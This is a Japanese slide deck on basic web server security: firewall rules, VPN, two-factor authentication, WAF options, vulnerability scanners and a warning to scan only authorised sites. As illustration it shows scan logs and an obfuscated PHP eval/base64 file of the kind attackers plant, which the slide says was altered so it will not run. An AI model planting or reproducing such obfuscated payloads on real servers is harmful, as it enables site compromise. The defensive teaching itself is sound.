WEBサーバ
これだけはやっとく
セキュリティ対策
杉本 瑞世
Directorz
[インフラエンジニア 兼ホスティング事業部 事業部長]
セキュリティ対策
サーバ移転のいろは
セキュリティの話題
多くないですか?
セキュリティポリシーシートを
ご記入ください
脆弱性大丈夫ですか?
セキュリティどうなってますか?
?
こういう画面
見たことありますか?
ゾっとしますね
FWのログ
Dec 8 04:50:05 src=51.158.23.128 PROTO=TCP SPT=40716 DPT=47374 SYN
Dec 8 04:50:06 src=5.188.86.50 PROTO=TCP SPT=43621 DPT=53100 SYN
Dec 8 04:50:06 src=176.119.4.7 PROTO=TCP SPT=46017 DPT=50290 SYN
Dec 8 04:50:06 src=89.248.168.51 PROTO=UDP SPT=40557 DPT=4843 SYN
Dec 8 04:50:06 src=5.188.86.59 PROTO=TCP SPT=44120 DPT=60192 SYN
Dec 8 04:50:06 src=5.188.86.58 PROTO=TCP SPT=44071 DPT=59130 SYN
Dec 8 04:50:06 src=5.188.86.62 PROTO=TCP SPT=44021 DPT=7992 SYN
Dec 8 04:50:07 src=5.8.18.58 PROTO=TCP SPT=55084 DPT=64278 SYN
Dec 8 04:50:07 src=5.8.18.63 PROTO=TCP SPT=55350 DPT=33870 SYN
Dec 8 04:50:07 src=205.205.150.14 PROTO=TCP SPT=53943 DPT=81 SYN
Dec 8 04:50:07 src=14.135.120.14 PROTO=TCP SPT=51086 DPT=81 SYN
Dec 8 04:50:07 src=176.119.4.53 PROTO=TCP SPT=58452 DPT=5118 SYN
Dec 8 04:50:07 src=205.205.150.14 PROTO=TCP SPT=60681 DPT=8080 SYN
Dec 8 04:50:07 src=14.135.120.14 PROTO=TCP SPT=58385 DPT=8080 SYN
Dec 8 04:50:07 src=118.34.232.233 PROTO=TCP SPT=46221 DPT=5555 SYN
Dec 8 04:50:08 src=5.188.10.156 PROTO=TCP SPT=43887 DPT=22 SYN
Dec 8 04:50:09 src=5.188.10.156 PROTO=TCP SPT=36422 DPT=22 SYN
Dec 8 04:50:10 src=5.188.10.156 PROTO=TCP SPT=34829 DPT=22 SYN
Dec 8 04:50:11 src=5.188.10.156 PROTO=TCP SPT=34853 DPT=22 SYN
Dec 8 04:50:12 src=5.188.10.156 PROTO=TCP SPT=43887 DPT=22 SYN
Dec 8 04:50:13 src=5.188.10.156 PROTO=TCP SPT=36422 DPT=22 SYN
Dec 8 04:50:14 src=5.188.10.156 PROTO=TCP SPT=34829 DPT=22 SYN
Dec 8 04:50:15 src=5.188.10.156 PROTO=TCP SPT=34853 DPT=22 SYN
Dec 8 04:50:16 src=5.188.10.156 PROTO=TCP SPT=36422 DPT=22 SYN
Dec 8 04:50:17 src=5.188.10.156 PROTO=TCP SPT=34829 DPT=22 SYN
Dec 8 04:50:17 src=5.188.10.156 PROTO=TCP SPT=43887 DPT=22 SYN
Dec 8 04:50:18 src=5.188.10.156 PROTO=TCP SPT=34853 DPT=22 SYN
Dec 8 04:50:18 src=51.158.23.84 PROTO=TCP SPT=48012 DPT=29863 SYN
Dec 8 04:50:18 src=5.188.10.156 PROTO=TCP SPT=43887 DPT=22 SYN
Dec 8 04:50:19 src=5.188.10.156 PROTO=TCP SPT=36422 DPT=22 SYN
Dec 8 04:50:20 src=5.188.10.156 PROTO=TCP SPT=34829 DPT=22 SYN
Dec 8 04:50:21 src=5.188.10.156 PROTO=TCP SPT=34853 DPT=22 SYN
Dec 8 04:50:21 src=163.172.206.237 PROTO=TCP SPT=46033 DPT=24808 SYN
Dec 8 04:50:21 src=217.197.255.242 PROTO=TCP SPT=51872 DPT=445 SYN
Dec 8 04:50:22 src=95.53.188.128 PROTO=TCP SPT=60420 DPT=23 SYN
Dec 8 04:50:22 src=132.232.105.101 PROTO=TCP SPT=8317 DPT=2323 SYN
Dec 8 04:50:23 src=173.236.14.244 PROTO=TCP SPT=55300 DPT=445 SYN
Dec 8 04:50:24 src=5.8.18.58 PROTO=TCP SPT=55084 DPT=64381 SYN
Dec 8 04:50:24 src=5.8.18.66 PROTO=TCP SPT=55464 DPT=34881 SYN
Dec 8 04:50:25 src=176.119.7.10 PROTO=TCP SPT=46956 DPT=50390 SYN
Dec 8 04:50:25 src=5.188.86.55 PROTO=TCP SPT=43867 DPT=58068 SYN
Dec 8 04:50:25 src=5.8.18.62 PROTO=TCP SPT=55294 DPT=32886 SYN
Dec 8 04:50:26 src=51.158.23.139 PROTO=TCP SPT=40816 DPT=49238 SYN
Dec 8 04:50:27 src=176.119.7.10 PROTO=TCP SPT=46956 DPT=50390 SYN
Dec 8 04:50:28 src=176.119.7.10 PROTO=TCP SPT=46956 DPT=50390 SYN
Dec 8 04:50:29 src=5.8.18.56 PROTO=TCP SPT=54828 DPT=62305 SYN
Dec 8 04:50:30 src=5.8.18.62 PROTO=TCP SPT=55294 DPT=32886 SYN
Dec 8 04:50:31 src=51.158.23.122 PROTO=TCP SPT=55548 DPT=40247 SYN
Dec 8 04:50:31 src=79.174.130.106 PROTO=TCP SPT=443 DPT=50330 ACK SYN
Dec 8 04:50:31 src=51.158.23.98 PROTO=TCP SPT=55626 DPT=41238 SYN
Dec 8 04:50:32 src=51.158.23.111 PROTO=TCP SPT=55295 DPT=36332 SYN
Dec 8 04:50:33 src=176.119.7.22 PROTO=TCP SPT=43897 DPT=48288 SYN
Dec 8 04:50:34 src=5.140.251.133 PROTO=TCP SPT=2194 DPT=37215 SYN
Dec 8 04:50:35 src=205.205.150.14 PROTO=TCP SPT=51809 DPT=21 SYN
Dec 8 04:50:35 src=14.135.120.14 PROTO=TCP SPT=57778 DPT=21 SYN
Dec 8 04:50:36 src=176.119.7.86 PROTO=TCP SPT=55711 DPT=19677 SYN
Dec 8 04:50:37 src=185.176.26.15 PROTO=TCP SPT=46453 DPT=30007 SYN
Dec 8 04:50:38 src=195.231.10.7 PROTO=TCP SPT=50606 DPT=81 SYN
Dec 8 04:50:39 src=185.254.123.114 PROTO=TCP SPT=43288 DPT=6000 SYN
Dec 8 04:50:41 src=176.119.7.86 PROTO=TCP SPT=55711 DPT=19677 SYN
Dec 8 04:50:42 src=5.8.18.55 PROTO=TCP SPT=54767 DPT=61374 SYN
Dec 8 04:50:43 src=51.158.23.114 PROTO=TCP SPT=55364 DPT=37332 SYN
Dec 8 04:50:43 src=51.158.23.128 PROTO=TCP SPT=40716 DPT=47374 SYN
Dec 8 04:50:44 src=78.170.59.132 PROTO=TCP SPT=38927 DPT=23 SYN
Dec 8 04:50:45 src=5.8.18.58 PROTO=TCP SPT=55084 DPT=64381 SYN
Dec 8 04:50:46 src=5.8.18.66 PROTO=TCP SPT=55464 DPT=34886 SYN
Dec 8 04:50:46 src=179.125.16.5 PROTO=TCP SPT=52065 DPT=445 SYN
Dec 8 04:50:47 src=51.158.23.99 PROTO=TCP SPT=55693 DPT=42391 SYN
Dec 8 04:50:47 src=185.254.123.103 PROTO=TCP SPT=34389 DPT=8545 SYN
Dec 8 04:50:48 src=5.188.86.59 PROTO=TCP SPT=44120 DPT=60192 SYN
Dec 8 04:50:49 src=139.162.65.76 PROTO=TCP SPT=46063 DPT=102 SYN
134.249.50.185 - - [21/Aug/2018:09:31:01] "GET /wp-includes/wlwmanifest.xml
134.249.50.185 - - [21/Aug/2018:09:31:01] "GET /xmlrpc.php?rsd
134.249.50.185 - - [21/Aug/2018:09:31:04] "GET /blog/wp-includes/wlwmanifest.xml
134.249.50.185 - - [21/Aug/2018:09:31:06] "GET /wordpress/wp-includes/wlwmanifest.xml
93.179.68.37 - - [22/Aug/2018:11:21:44] "GET /robots.txt
93.179.68.37 - - [22/Aug/2018:11:21:45] "POST /xmlrpc.php?rsd
93.179.68.37 - - [22/Aug/2018:11:21:46] "GET /blog/robots.txt
93.179.68.37 - - [22/Aug/2018:11:21:47] "GET /blog/
93.179.68.37 - - [22/Aug/2018:11:21:48] "GET /wordpress/
93.179.68.37 - - [22/Aug/2018:11:21:49] "GET /wp/
117.50.57.173 - - [28/Sep/2018:09:42:51] "GET /phpMyAdmin/scripts/setup.php
117.50.57.173 - - [28/Sep/2018:09:42:51] "GET /scripts/setup.php
117.50.57.173 - - [28/Sep/2018:09:42:51] "GET /pma/scripts/setup.php
117.50.57.173 - - [28/Sep/2018:09:42:52] "GET /xmlrpc.php
120.79.253.19 - - [29/Sep/2018:03:42:01] "GET /phpMyAdmin/scripts/setup.php
120.79.253.19 - - [29/Sep/2018:03:42:02] "GET /scripts/setup.php
120.79.253.19 - - [29/Sep/2018:03:42:03] "GET /pma/scripts/setup.php
120.79.253.19 - - [29/Sep/2018:03:42:07] "GET /xmlrpc.php
WEBアクセスログ
<?php // This file is protected by copyright law &
provided under license. Copyright(C) 2005-2009 www.vidun.com, All rights reserved.
$OOO0O0O00=__FILE__;$OOO000000=urldecode
('%74%68%36%73%62%65%68%71%6c%61%34%63%6f%5f%73%61%64%66%70%6e%72');
$OO00O0000=45936;$OOO0000O0=$OOO000000{4}.$OOO000000{9}.$OOO000000{3}.$OOO000000{5};$OOO0000O0.=$OOO000000{2}.$OOO000000{10}.$OOO000000{13}.$OOO000000{16};$OOO0000O0.=$OOO0000O0{3}.$OOO000000{11}.$OOO000000{12}.$OOO0000O0{7}.$OOO000000{5};$O0O0000O0='OOO0000O0';
eval(($$O0O0000O0('JE9PME9PMDAwMD0kT09PMDAwMDAwezE3fS4kT09PMDAwMDAwezEyfS4kT09PM
DAwMDAwezE4fS4kT0wxMjYyKTskT08wME8wME8wPSgkT09PMDAwME8wKCwxMjYyKTskT08wME8wME8wP
9PMDAwMDAwezV9LiRPT08wMDAwMDB7MTl9O2lmKCEwKSRPMDAwTzBPMDA9JE9PME9PMDAwMCgkT09PME
8wTzAwLCdyYicpOyRPTzBPTzAwME89JE9PTzAwMDAwMHsxN30uJE9PTzAwMDAwMHsyMH0uJE9PTzAwMD
AwMHs1fS4kT09PMDAwMDAwezl9LiRPT08wMDAwMDB7MTZ9OyRPTzBPTzAwTzA9JE9PTzAwMDAwMHsxNH
0uJE9PTzAwMDAwMHswfS4kT09PMDAwMDAwezIwfS4kT09PMDAwMDAwezB9LiRPT08wMDAwMDB7MjB9Oy
RPTzBPTzAwME8oJE8wMDBPME8wMCwxMjYyKTskT08wME8wME8wPSgkT09PMDAwME8wKCRPTzBPTzAwTz
AoJE9PME9PMDAwTygkTzAwME8wTzAwLDM4MCksJ29OcEtUODk0MmpMWE9jQXlobmk1WUJEV0liNnRlZk
ZtYTFHc2tSWis3bDNySDBRcVVDZFNNdXhFVi9nendKdlA9JywnQUJDREVGR0hJSktMTU5PUFFSU1RVVl
dYWVphYmNkZWZnaGlqa2xtbm9wcXJzdHV2d3h5ejAxMjM0NTY3ODkrLycpKSk7ZXZhbCgkT08wME8wME
8wKTs=')));return;?>
jTJyOKNyOKNyOKuSf4jmeZBUt98sbia+WuJ9iYC8Wuw+Xp2+2GVk5MJyOTwU5SoUXG2+2GU7jTJy5SoU
OKNyOpak5MwU5MwUOTwULpny5SNy5SoUOTw7jTwUOKNyOTwUOpUk5MwUOTwUOKoULiU+tM/UiuhVA5hd
6kCI5xcNFD1Q65BbhknWiD2xf9BZnZu1OYfS6uj6LSfHOEj2O88CBYckYMuuFTBDXxfgfMlxYKM+XpfN
hkcTnYb4iTRLiMCc5kJhYBj5B8BDBu1bDZ8GIxnRbZf76Dlrt9uQtENCe+cMfWbEF4RgOKTdOShucseV
AiHqjdklLikzbZcHtEcRLpnyOKoU5SNyOKolAxBxIDU7jTJyOKNyOKNyOpkzKh7kIDn06DVayiN1e+j1
FialAUMLj98ktDRQDdfs69Bs6dff2KMaf4jub5HcpGn1b9ultRH+e98Sedff2poJ2pfZc9IUcs1RcS8a
RO9hVcxjZO98kc58Rcs2Cc98GAKnRAiezKh7kIDn06D/tjxcqtx0lbWNdbiff2KMajdezKh7kIDn06D/
tjxcqtx0lbDnqtD8ltGff2KMajdezKh7kIDn06D/tjxcqtx0lbWN1f9a+WioJ2peqjSHcpGn1b9ultRH
+IxJq6xRRt9RZbiff2KMaAKIMOKozKhlRfZ8HL9fg6D/Zt98Mbi1GIWcRcsnmb9BstxnRLpeEIsO/bK8
gD9c5nKncOERyXSnZi8bMfWb0O+7Uh+f7LM8WFB8jhYc5tMBNhY8rhRc9iYIULEBAO5nVi9hqB+2/D9f
ynD8hc415tZjhbYcZDkYVfBf6n4B55TaqiBkCfYJO5BfWe9nrAWRWcKj0ORcyDs1bXuj4bkf0Dsc85ub
MBskqfKRkn9njBYbbYM0Yi82EOSfBeRbuOxjMOsbkbWbWb9bUAW2CXENyFsjxiKf3b8buDZckfZ8ODKf
3eMwUnxCBOs2uADcC5T8/AWeqnWoqOTTSIxlU5WNbeRlIeiJ7h+niADHVhuNkfu8/eZjT6uNRt5jxc8f
ieEkVcBl2IZbRA5b7nxC+e8jRBsbnODj7DKjdnkJlbpJ9i8c3BDcLe4B9LENxFZCsOs8MI5jNiDJZnYf
df987ORcMcxc7F8OEhBNEOsOScsNKckBdtKbx5T0BeBf5FZBb68N1fYjW5sbSOMbHbD11iMC/F4nOhSw
8MekeSIEj0O4bdA41xFs1A5W8HF5N8nZRCXEc2DBn/f9bGBZhrfkJNADchXM8g5+86t4jBf8f/D+8V6D
C1tEfdDK8pIDlnhxCye581f+lh6ZnsfsRjIxnyfR86YE1DIsfbeiH/BG0Vtx2UIWTSf8B9cxfRtKoq6k
udcsRZD9UCIWndhYhCF+fu6SfOB9BYc+YSOsc4cun5LuBrOY0/ikfNO87UekC5b9lMfWfNI+8lO5RqbD
VdtRfMXM/DY4I/cZu2nEjHF9jNe+j1t9bWOWl5OxJWb8eSO90TbMbEbYJ2ORcM6KTqA4fqYDJQcDjUek
/KbDOd6BIuLMn2b+jBADc96RlKIZnUDRc3eRRZnujkYY0qBEj9cYn0BW14txuBhuIM
こんなファイルを置かれます
※↑コピペしても実行されないよう修正してあります
こうなります
インターネットに公開する
ということは
それぞれの役割と
インターネット
ユーザ
サーバ
DBアクセス
MySQL, PostgreSQL
Redis, RDS
ユーザ
サーバ
Applicationアクセス
php-fpm, Rails
Node.js
管理者
サーバ
管理・操作アクセス
SSH, SCP,FTP
VNC,管理コンソール
必要ではありますが制限したい!
制限しようと思ったら
- インターネットに接続しないような
ネットワーク設計にする - FWで制限する
→ iptables, WinFW (OS機能)
→ セキュリティグループ等(クラウド) - VPN (管理アクセスに使える)
- パスワードは二要素認証いいよ!
ユーザ
サーバ
WEBアクセス
http://aaaaa.com
https://bbbbb.net
WAF
WebApplicationFirewall
Webアプリケーションへの攻撃からWebサイトを保護するセキュリティ対策。Webサーバーの前段に設置して通信を解析・検査し、攻撃からWebサイトを保護し
不正ログインを防ぐ。
ただ、設定がムズい
そして、費用が。。
Scutum
SiteGuard
- ホスト型(サーバにインストールする)の老舗
- 初20万/月10万×OS数程度の料金
- 細かい設定も可能
- SaaS型WAFの老舗
- 初20万/月15万程度 (50Mbps)
- トラフィック量によって大きな差
>注< 各価格は参考です! 正しくは公式ページをご参照ください
CLOUD ARMOR (β)
AWS WAF
- CloudFront or ALBの使用を前提
- 設定は0から自分でしなければならない
- が、CloudFormationにテンプレートがあるので
そこから編集していくのが便利!
- まだベータ版
- 出来る設定も少ない
- 実績も少ない
いくつかOpenSourceも
- ModSecurity (Apacheのモジュールとして使う)
- Naxsi (nginxと併せて使う)
- WebKnight (Windows IIS用)
- Shadow Daemon
いずれもサーバエンジニアのチカラが必要です
頼ってください
脆弱性診断
VADDY
簡易なら 月$600
SiteLock
- どちらも出来ることに大きな差はない
- 完全クラウドサービス → WEBでポチポチ
- 簡易プランなら、WAF導入よりお安い
https://saas.gmocloud.com/service/websecurity/
50ページ 4200円/年
>注< 各価格は参考です! 正しくは公式ページをご参照ください
OWASP ZAP
- MacもWindowsもLinuxでも動かせる
- 無料
- 結果がhtml, xmlで出る → 顧客にそのまま提示しやすい
- 情報が多いのでググればなんとかなる
> 注意 <
脆弱性診断 = 疑似攻撃です
診断前に必ず許可をとりましょう
管理サイト以外に実行しては
ダメ。ゼッタイ。
まとめ
-
どうしても必要な通信以外閉じる
-
WAFの導入を検討する
-
最低限の脆弱性診断はしておく